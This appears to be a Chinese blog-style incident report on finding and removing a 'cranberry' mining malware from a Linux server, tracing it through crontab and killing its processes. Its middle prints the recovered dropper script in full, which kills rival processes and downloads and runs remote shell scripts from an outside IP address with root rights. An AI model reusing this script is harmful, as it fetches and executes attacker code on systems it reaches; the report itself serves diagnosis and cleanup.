起始

今天中午测试反馈说线上系统频繁的报502错误,并且响应极慢。 开始怀疑是公司哪位小哥在下载小电影,但打开其他网站都很快。于是继续怀疑难道是业务激增导致带宽被占满了,于是登录监控界面,显示只用了80Mb,带宽也没占满。

发现根本原因

ssh上服务器之后,本能的执行top命令,返现cranberry进程几乎把cpu吃满了。

于是尝试kill掉进程

kill -9 14465

kill掉之后,cranberry又会立即自动重启。 在紧盯屏幕之后,惊喜的发现crontab进程。于是大喜过望,这哥们会啊。crontab命令教程 于是查看crontab的列表

crontab -l

看到如下命令,会通过定时任务去远程服务器下载脚本。
于是把crontab的列表删掉

crontab -r

然后,以为kill掉cranberry之后,就ok了,谁知道还是自动重启。 那只能耐着性子,把脚本下载下来研究一下了,脚本内容如下:

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

pkill -f jIuc2ggfCAvYmluL2Jhc2gi
pkill -f lowerv2.sh
pkill -f rootv2.sh
pkill -f sourplum
pkill -f nativesvc

ps aux | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done

whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
	curl http://172.96.252.86/lowerv3.sh > /tmp/lower.sh
	if [ ! -f "/tmp/lower.sh" ] ;then
		wget -P /tmp/ http://172.96.252.86/lowerv3.sh
		rm /tmp/lower.sh.*
	fi
	chmod 777 /tmp/lower.sh
	bash /tmp/lower.sh
else
	curl http://172.96.252.86/rootv3.sh > /etc/root.sh
	if [ ! -f "/etc/root.sh" ] ;then
		wget -O /etc/root.sh http://172.96.252.86/rootv3.sh
	fi
	chmod 777 /etc/root.sh
	bash /etc/root.sh
fi
echo "over"

这脚本倒也简单,主要是下载另外一个脚本,到/etc/目录中,名字是root.sh. 于是查看是哪个进程执行了脚本:

root@SSP001:[/proc]ps -ef|grep root.sh
root      1541 28244  0 16:19 pts/1    00:00:00 grep root.sh
root      2036  1653  0 11:00 ?        00:00:57 bash /etc/root.sh
root      2080  1544  0 06:00 ?        00:01:21 bash /etc/root.sh
root      6035  5979  0 Jan15 ?        00:13:01 bash /etc/root.sh
root      8659  8156  0 05:00 ?        00:01:24 bash /etc/root.sh
root      9649  9627  0 Jan15 ?        00:07:03 bash /etc/root.sh
root      9979  9731  0 02:00 ?        00:03:12 bash /etc/root.sh
root     11925 11497  0 14:00 ?        00:00:16 bash /etc/root.sh
root     14874 14437  0 Jan15 ?        00:08:55 bash /etc/root.sh
root     14931 14794  0 Jan15 ?        00:12:22 bash /etc/root.sh
root     14935 13330  0 15:00 ?        00:00:00 bash /etc/root.sh
root     15050 14391  0 12:00 ?        00:00:32 bash /etc/root.sh
root     15596 15349  0 Jan15 ?        00:03:46 bash /etc/root.sh

把上边的进程kill掉:

kill -9 2036 2080 6035 8659 9649 9979 11925 14874 14931 14935 15050 15596 16459 17199 19983 20478 20795 21609 21810 23402 24943 25513 27988 28883 29853 31304 31499 32364

然后再kill掉cranberry:

killall -9 cranberry

于是cpu恢复到了正常水平。

cranberry病毒的原理

  1. 通过定时去远程下载脚本
  2. 通过脚本,执行守护任务,
  3. 发现cranberry被kill之后,立即通过crontab启动。